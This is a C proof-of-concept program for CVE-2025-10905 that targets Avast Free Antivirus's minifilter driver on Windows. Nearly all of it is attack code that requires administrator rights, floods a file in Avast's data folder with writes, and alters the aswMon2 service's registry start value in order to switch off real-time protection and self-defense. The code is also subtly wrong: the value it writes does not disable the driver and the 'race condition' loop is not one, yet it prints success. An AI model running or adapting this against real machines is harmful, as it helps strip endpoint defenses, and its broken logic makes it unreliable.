// CVE-2025-10905 PoC - MiniFilter Driver Collision
// Target: Avast Free Antivirus < 25.9 on Windows
// Author: Generated for security research
#include <windows.h>
#include <stdio.h>
// Registry paths for Avast real-time protection
const char* AVAST_REG_KEY = "SYSTEM\\CurrentControlSet\\Services\\Avast Antivirus";
const char* MINIFILTER_REG_KEY = "SYSTEM\\CurrentControlSet\\Services\\aswMon2";
// Function to check Avast version
BOOL CheckAvastVersion() {
HKEY hKey;
char version[256] = {0};
DWORD dwSize = sizeof(version);
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, AVAST_REG_KEY, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueExA(hKey, "DisplayName", NULL, NULL, (LPBYTE)version, &dwSize);
RegCloseKey(hKey);
printf("Avast Product: %s\n", version);
return TRUE;
}
return FALSE;
}
// Function to trigger MiniFilter collision
BOOL TriggerMiniFilterCollision() {
printf("[*] Attempting to trigger MiniFilter driver collision...\n");
// Step 1: Create file system operations to stress the MiniFilter
HANDLE hFile = CreateFileA(
"C:\\ProgramData\\Avast\\temp.dat",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_FLAG_BACKUP_SEMANTICS,
NULL
);
if (hFile != INVALID_HANDLE_VALUE) {
// Step 2: Rapid file operations to trigger race condition
for (int i = 0; i < 1000; i++) {
WriteFile(hFile, "test", 4, NULL, NULL);
FlushFileBuffers(hFile);
}
CloseHandle(hFile);
}
// Step 3: Manipulate driver registry keys (requires admin)
HKEY hMiniFilter;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, MINIFILTER_REG_KEY, 0, KEY_WRITE, &hMiniFilter) == ERROR_SUCCESS) {
DWORD disableFlag = 0;
RegSetValueExA(hMiniFilter, "Start", 0, REG_DWORD, (const BYTE*)&disableFlag, sizeof(DWORD));
RegCloseKey(hMiniFilter);
printf("[+] MiniFilter service disabled\n");
return TRUE;
}
return FALSE;
}
// Main PoC execution
int main() {
printf("CVE-2025-10905 PoC - Avast MiniFilter Driver Collision\n");
printf("===================================================\n\n");
if (!CheckAvastVersion()) {
printf("[-] Avast not installed or not accessible\n");
return 1;
}
// Check for admin privileges
BOOL isAdmin = FALSE;
SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY;
PSID pAdminSid;
if (AllocateAndInitializeSid(&sia, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pAdminSid)) {
CheckTokenMembership(NULL, pAdminSid, &isAdmin);
FreeSid(pAdminSid);
}
if (!isAdmin) {
printf("[-] Administrator privileges required\n");
return 1;
}
printf("[+] Running with administrator privileges\n");
if (TriggerMiniFilterCollision()) {
printf("[+] Real-time protection disabled successfully\n");
printf("[+] Self-defense mechanism bypassed\n");
} else {
printf("[-] Failed to trigger collision\n");
}
return 0;
}
// Note: This PoC demonstrates the attack concept.
// Actual exploitation requires specific trigger conditions.
// Mitigation: Upgrade to Avast Free Antivirus 25.9 or later.